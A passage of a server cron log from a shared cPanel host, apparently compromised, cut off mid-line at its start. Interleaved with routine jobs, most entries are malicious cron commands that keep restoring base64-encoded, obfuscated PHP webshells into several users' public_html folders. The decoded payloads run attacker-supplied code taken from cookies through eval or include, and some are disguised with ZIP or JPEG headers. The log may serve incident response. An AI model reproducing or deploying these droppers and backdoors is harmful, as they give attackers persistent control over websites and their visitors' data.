pOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:17:02 medusa CROND[2835]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 16:17:02 medusa CROND[2836]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:18:01 medusa CROND[19901]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:18:01 medusa CROND[19902]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 16:18:01 medusa CROND[19903]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:18:01 medusa CROND[19904]: (tecnosec) CMD (/usr/local/bin/php  /home13/tecnosec/public_html/phplist/admin/index.php  -c /home13/tecnosec/public_html/phplist/config/config.php -p processqueue >/dev/null)
Mar  2 16:18:01 medusa CROND[19905]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 16:18:01 medusa CROND[19906]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 16:18:01 medusa CROND[19907]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 16:18:01 medusa CROND[19908]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 16:18:01 medusa CROND[19911]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 16:18:01 medusa CROND[19912]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 16:18:01 medusa CROND[19913]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:18:01 medusa CROND[19921]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:18:01 medusa CROND[19923]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 16:18:01 medusa CROND[19922]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 16:19:01 medusa CROND[9067]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/cron.php >> /dev/null 2>&1)
Mar  2 16:19:01 medusa CROND[9073]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 16:19:01 medusa CROND[9323]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 16:19:01 medusa CROND[9322]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 16:19:01 medusa CROND[9325]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 16:19:01 medusa CROND[9326]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:19:01 medusa CROND[9328]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 16:19:01 medusa CROND[9329]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 16:19:01 medusa CROND[9333]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 16:19:01 medusa CROND[9337]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:19:01 medusa CROND[9339]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:19:01 medusa CROND[9342]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 16:19:01 medusa CROND[9343]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
